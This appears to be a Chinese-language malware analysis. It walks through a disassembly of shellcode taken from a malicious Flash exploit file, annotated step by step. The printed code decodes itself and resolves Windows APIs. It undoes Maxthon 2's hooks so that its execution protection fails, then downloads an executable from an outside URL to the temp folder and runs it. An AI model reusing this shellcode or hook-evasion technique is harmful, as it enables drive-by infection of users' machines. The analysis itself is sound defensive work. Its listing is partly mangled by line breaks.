最近几天flash漏洞的网马非常流行,于是我想分析一下shellcode是怎么跑的。
但是能力所限,还难以像大牛们一起定位到有漏洞的代码及观察整个溢出过程。于是,我只能做后面一部分工作,即看看那个畸形flash文件中的shellcode长得什么样子,它运行起来会有什么动作。
我使用的是从网站抓下来的win 9,0,115,0ie.swf。很容易地就在畸形.swf文件中找到了shellcode的位置,在连文件头偏移0xEB处开始。之后我将这段shellcode拷贝到一个可执行文件的入口点开头处,这样我就可以在OD里直接调试shellcode了。
调试过程中我发现,由于flash这次的漏洞,真的给了一个很充裕的空间让编写者尽情地发挥他们的shellcode编写才能,我看到了一个比以往任何一个利用ActiveX漏洞的shellcode都要复杂的shellcode。
该shellcode的功能很全面,不但有一般shellcode的
xor加密,获取API地址和执行下载病毒并运行的操作,还有更多的操作使得shellcode更加的强悍而实用。
这些操作包括:
1. shellcode有效时间限制,当发现系统时间迟于shellcode中保存的一个固定时间时,直接ExitThread。这应该是flash网马生成器发布者所做的,可能出于商业考虑,避免别人通过简单修改病毒URL地址而生成自己的利用文件。
2. 从kernel32.dll的输入表中取ZwCreateProcessEx、ZwWriteVirtualMemory的地址,对这两处地址进行inline hook,hook到自身保存的相应的原始代码中,并对CreateProcessInternalW的前面几个字节进行了inline hook的还原。
这些操作都是针对MAXTHON等使用以上API HOOK方式对游览器进行执行保存的措施而出台的anti方式。虽然这种方法早已被提出,是大家皆知的,但是在以前的网马应用中,由于可用的缓冲区并不是那么大,不适于加入这些额外的代码,因此我一直没有看到还原hook过浏览器保护方法的实际利用。而在这次,我终于看到了一个实际利用的例子。
3. 使用CreateProcessInternalA进行最后下载到本机的病毒文件的执行。以前一般的shellcode是用WinExec。
下面是shellcode执行流程的分析,分析基本在注释当中,标号(1)、(2)……代码了执行流程顺序,依照标号便可容易理解整个流程。
首先开始是一次
xor解密,每两个字节与0x4522进行异或。
00407000 > /EB 16
jmp short 00407018
; (1)F800407002 |5B
pop ebx ; (3)00407003 |33C9
xor ecx,
ecx00407005 |66:B8 2245
mov ax, 4522
00407009 |66:31044B
xor word ptr [
ebx+
ecx*2],
ax ; xor解密0040700D |41
inc ecx0040700E |40
inc eax0040700F |66:81F9 6201
cmp cx, 162
00407014 ^|7C F3
jl short 00407009
; (4)循环,在下面一句F400407016 |EB 05
jmp short 0040701D
; (5)再F8一下,跳入解密后的代码00407018 \E8 E5FFFFFF
call 00407002
; (2)F7接下来是解密后的实际代码
首先是取得kernel32.dll中的API函数地址并填入后面的数据区。这里使用的是很常用的方法,通过PEB得到kernel32.dll的基址,然后通过遍历其输出表,把每一函数名称字符串经过一个加密运算,再将结果与输入的值比较,进而找到符合的API函数位置。
0040701D E9 65020000
jmp 00407287
; (6)解密后代码开头,往下跳到最后00407022 5F
pop edi ; (8)定位自身地址,此时为后面数据区地址00407023 6A 30
push 30
00407025 59
pop ecx00407026 64:8B01
mov eax,
dword ptr fs:[
ecx]
; _PEB00407029 8B98 A8000000
mov ebx,
dword ptr [
eax+A8]
; _PEB.OSMijorVersion0040702F 8B40 0C
mov eax,
dword ptr [
eax+C]
00407032 8B70 1C
mov esi,
dword ptr [
eax+1C]
00407035 AD
lods dword ptr [
esi]
00407036 8B68 08
mov ebp,
dword ptr [
eax+8]
; (9)kernel32.dll基址入ebp00407039 8BF7
mov esi,
edi0040703B 81EC 00020000
sub esp, 200
00407041 85DB
test ebx,
ebx00407043 75 07
jnz short 0040704C
; (10)判断是2000的系统还是XP,我这里是XP,直接跳走00407045 C746 24 C9525E5>
mov dword ptr [
esi+24], 535E52C9
; 如是2000系统,则修改下面的数据0040704C 6A 09
push 9
0040704E 59
pop ecx0040704F E8 EE010000
call 00407242
; (11)这里F8就可以了,依照数据区开头的几个加密结果,遍历输出表找函数,把函数地址覆盖掉原来的另密结果00407054 ^ E2 F9 loopd
short 0040704F
; 循环,直接在下面F4这里填入的API地址依次为(以此时相对
esi的偏移,即下面调用时使用的[
esi+XX]中的XX为序)
0x00 LoadLibraryA
0x04 GetTempPathA
0x08 DeleteFileA
0x0C CreateProcessInternalA
0x10 ExitThread,
0x14 VirtualProtect
0x18 CreateProcessInternalW
0x1C CompareFileTime
0x20 GetSystemTimeAsFileTime
接着搜索内存得到一个“
retn”命令位置(实际上不一定是
retn命令),用于后面的anti-debug。
00407056 40
inc eax ; GetSystemTimeAsFileTime00407057 8038 C3
cmp byte ptr [
eax], 0C3
0040705A ^ 75 FA
jnz short 00407056
; (12)循环搜索内存特征,其实是为了借用一个retn代码来改变程序流程反调试0040705C 8946 30
mov dword ptr [
esi+30],
eax ; 这里搜索到的是7C801881再接着遍历kernel32.dll的输入表,再取两个NATIVE API函数的地址。
0040705F 6A 02
push 2
00407061 59
pop ecx00407062 E8 9E010000
call 00407205
; 再次搜索输出表得到函数地址00407067 ^ E2 F9 loopd
short 00407062
这里取到的地址是(以此时相对
esi的偏移,即下面调用时使用的[
esi+XX]中的XX为序)
0x24 ZwCreateProcessEx
0x28 ZwWriteVirtualMemory
接着是使用LoadLibraryA加载urlmon.dll并取得URLDownloadToFileA函数的地址。值得一提的是这里不是直接
call而是用在子函数里用先
push返回地址再
jmp的方式。
00407069 6A 01
push 1
0040706B 59
pop ecx0040706C 68 6F6E0000
push 6E6F
00407071 68 75726C6D
push 6D6C7275
00407076 54
push esp ; 'urlmon'00407077 8B06
mov eax,
dword ptr [
esi]
; LoadLibraryA00407079 E8 10010000
call 0040718E
; (13)一个纯为了anti-debug而搞出来的子函数,直接在下一句下断,再F9就不会跑飞0040707E 95
xchg eax,
ebp ; urlmon.dll基址入ebp0040707F E8 BE010000
call 00407242
; (14)又找函数地址并保存,直接F8,可以看到找到的函数是URLDownloadToFileAURLDownloadToFileA函数地址被保存在[
esi+2C]
在进入实质工作之前,就是附加的操作。
首先是时间限制的验证
00407084 68 3D400000
push 403D
00407089 6A FF
push -1
0040708B 6A FF
push -1
0040708D 3E:DB2C24
fld tbyte ptr ds:[
esp]
00407091 50
push eax ; 只是在堆栈腾出FILETIME结构的内存空间00407092 50
push eax00407093 54
push esp00407094 FF56 20
call dword ptr [
esi+20]
; GetSystemTimeAsFileTime00407097 8BC4
mov eax,
esp00407099 68 6EC2C801
push 1C8C26E
0040709E 68 00C0B336
push 36B3C000
004070A3 54
push esp004070A4 50
push eax004070A5 FF56 1C
call dword ptr [
esi+1C]
; CompareFileTime004070A8 48
dec eax004070A9 75 03
jnz short 004070AE
; (16)系统时间如果晚于设定好的时间,则不跳走004070AB FF56 10
call dword ptr [
esi+10]
; 这样就直接ExitThread了,也就是这个shellcode的时间限制我调试的时候,已经过了允许时间了,所以本来就会直接ExitThread,这时可以自己强行把
EIP改到下一句,不让它退出,继续调试。
接下来的部分我认为比较让我意外,就是我前面提到的,shellcode中自己保存了NATIVE API的原样代码,在这里对NATIVE API进行了inline hook,hook到shellcode自带的原样代码中,以及把CreateProcessInternalW前面的几个字节进行了还原,从而破坏了一些软件的游览器执行保护功能,为自己执行被下载的病毒程序扫清了障碍,这是它优于此前我所见到的漏洞利用shellcode的重要关键。
首先是将自身保存的NATIVE API原样代码拷贝到PEB后面的空间中。
之所以要拷贝到这里,我想是为了运行的稳定,如果inline hook直接指向shellcode内部,那么shellcode执行完被清理掉之后,程序再调用相应NATIVE API的时候,就会崩溃掉。这里把代码拷进PEB后面的空间,可以保证在shellcode退出后这部分地址仍然能够正常访问,程序也还能正常运行(至少看起来是那样)。
004070AE 6A 30
push 30
004070B0 59
pop ecx004070B1 64:8B19
mov ebx,
dword ptr fs:[
ecx]
004070B4 8DAB 00040000
lea ebp,
dword ptr [
ebx+400]
; (17)在PEB结构后面找到一块空着的内存004070BA 8B9B A8000000
mov ebx,
dword ptr [
ebx+A8]
004070C0 8BFD
mov edi,
ebp004070C2 56
push esi004070C3 E9 E0000000
jmp 004071A8
; (18)跳到下面004070C8 5E
pop esi ; (20)跳回这里004070C9 F3:A5
rep movs dword ptr es:[
edi],
dword ptr [
esi]
; 把下面那些摸拟NATIVE API的代码拷进这块内存,用于后面inline hook004070CB 5E
pop esi接着,将“找到的”ZwCreateProcessEx和ZwWriteVirtualMemory的最前面部分,修改为“
push XXX,
retn”的样式,以跳到之前拷贝的代码中:
004070CC 8B7E 24
mov edi,
dword ptr [
esi+24]
; ZwCreateProcessEx004070CF E8 25010000
call 004071F9
; VirtualProtect改函数头0x20为可读可写004070D4 6A 1A
push 1A
; 以下为直接对ZwCreateProcessEx进行inline hook004070D6 6A 0D
push 0D
004070D8 6A 00
push 0
004070DA 8BC5
mov eax,
ebp004070DC 03049C
add eax,
dword ptr [
esp+
ebx*4]
004070DF C607 68
mov byte ptr [
edi], 68
; 代码"push……"004070E2 47
inc edi004070E3 AB
stos dword ptr es:[
edi]
; 内存中拷贝的代码004070E4 C607 C3
mov byte ptr [
edi], 0C3
; ret……004070E7 8B7E 28
mov edi,
dword ptr [
esi+28]
; ZwWriteVirtualMemory004070EA E8 0A010000
call 004071F9
004070EF 6A 3D
push 3D
004070F1 6A 36
push 36
004070F3 6A 27
push 27
004070F5 8BC5
mov eax,
ebp004070F7 03049C
add eax,
dword ptr [
esp+
ebx*4]
004070FA C607 68
mov byte ptr [
edi], 68
004070FD 47
inc edi004070FE AB
stos dword ptr es:[
edi]
004070FF C607 C3
mov byte ptr [
edi], 0C3
为什么我上面特别强调“找到的ZwCreateProcessEx和ZwWriteVirtualMemory的地址处”?
我们千万不要忘记,这个做法是针对某些软件的,冲着哪个软件?
我想到了MAXTHON2。
搜索一下关于MAXTHON2的浏览器执行保护的文章,很早的文章显示,MAXTHON2正是对ZwCreateProcessEx和ZwWriteVirtualMemory进行了IAT HOOK。
而现在呢,shellcode从kernel32.dll的输入表中取ZwCreateProcessEx和ZwWriteVirtualMemory的地址,这意味着什么?
我大胆假设,当MAXTHON2游览漏洞利用网页的时候,shellcode的执行环境就在其进程中,那么,这时shellcode从kernel32.dll的输入表中取到的地址,正是被MAXTHON2给hook掉的结果,直接到了MAXTHON2的dll里面去了。
这是shellcode作者有意而为之,因为接着它对这两个地址的代码进行了inline hook,又实际上转回了原始的代码。
这样MAXTHON2就在完全没有察觉自己的IAT HOOK失效(本来就没有失效)的情况下,其执行保护被绕过了。
接下来的动作进一步证实了这一点,对CreateProcessInternalW开头的代码进行还原,这岂不是又正针对MAXTHON2对CreateProcessInternalW的inlline hook?!
00407102 8B7E 18
mov edi,
dword ptr [
esi+18]
; CreateProcessInternalW00407105 E8 EF000000
call 004071F9
0040710A 68 68080A00
push 0A0868
0040710F 68 68080A00
push 0A0868
00407114 68 558BEC6A
push 6AEC8B55
00407119 8B049C
mov eax,
dword ptr [
esp+
ebx*4]
0040711C AB
stos dword ptr es:[
edi]
; 还原前面的几个字节,还原inline hook0040711D 33C0
xor eax,
eax0040711F 50
push eax00407120 50
push eax00407121 6A FF
push -1
00407123 8B049C
mov eax,
dword ptr [
esp+
ebx*4]
00407126 AA
stos byte ptr es:[
edi]
做完了这些操作,shellcode最后终于进入自己的实质性工作了。
首先,得到Temp文件夹地址,并在后面加入“orz.exe”,作为病毒文件的本地地址
00407127 8DBE 33010000
lea edi,
dword ptr [
esi+133]
0040712D 57
push edi0040712E 68 FF000000
push 0FF
00407133 FF56 04
call dword ptr [
esi+4]
; GetTempPathA00407136 03C7
add eax,
edi00407138 C700 6F727A2E
mov dword ptr [
eax], 2E7A726F
; 往得到的temp文件夹路径后面加入文件名0040713E C740 04 6578650>
mov dword ptr [
eax+4], 657865
; 加入的文件名为"orz.exe"为保险,先尝试把这个路径的文件删除。
00407145 57
push edi00407146 FF56 08
call dword ptr [
esi+8]
; DeleteFileA然后直接调用URLDownloadToFileA,从远程地址http://www.0x4f.cn/test.exe下载病毒文件到orz.exe
00407149 33DB
xor ebx,
ebx0040714B 53
push ebx0040714C 53
push ebx0040714D 57
push edi0040714E 8D46 34
lea eax,
dword ptr [
esi+34]
; URL地址,"http://www.0x4f.cn/test.exe"00407151 50
push eax00407152 53
push ebx00407153 FF56 2C
call dword ptr [
esi+2C]
; URLDownloadToFileA最后,shellcode执行所下载的文件,注意它使用了CreateProcessInternalA来进行。由于前面已经清除了对CreateProcessInternalW和ZwCreateProcessEx以及ZwWriterVirtualMemory的保护,病毒作者坚信此时使用CreateProcessInternalA有非常大的可能可以成功。
00407156 33C0
xor eax,
eax00407158 8BFC
mov edi,
esp0040715A 6A 12
push 12
0040715C 59
pop ecx0040715D AB
stos dword ptr es:[
edi]
0040715E ^ E2 FD loopd
short 0040715D
; 循环,在堆栈中清出一块全0的空间00407160 66:C74424 3C 01>
mov word ptr [
esp+3C], 101
00407167 8BFC
mov edi,
esp00407169 8D47 10
lea eax,
dword ptr [
edi+10]
0040716C 51
push ecx0040716D 57
push edi0040716E 50
push eax0040716F 51
push ecx00407170 51
push ecx00407171 51
push ecx00407172 51
push ecx00407173 51
push ecx00407174 51
push ecx00407175 51
push ecx00407176 8D96 33010000
lea edx,
dword ptr [
esi+133]
; 本地地址orz.exe0040717C 52
push edx0040717D 51
push ecx0040717E FF56 0C
call dword ptr [
esi+C]
; CreateProcessInternalA00407181 81C4 54020000
add esp, 254
00407187 61
popad00407188 FF71 EC
push dword ptr [
ecx-14]
; 这里应该会跳回原来溢出的位置,让程序正常运行下去0040718B C2 0400
retn 4
用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; MAXTHON 2.0)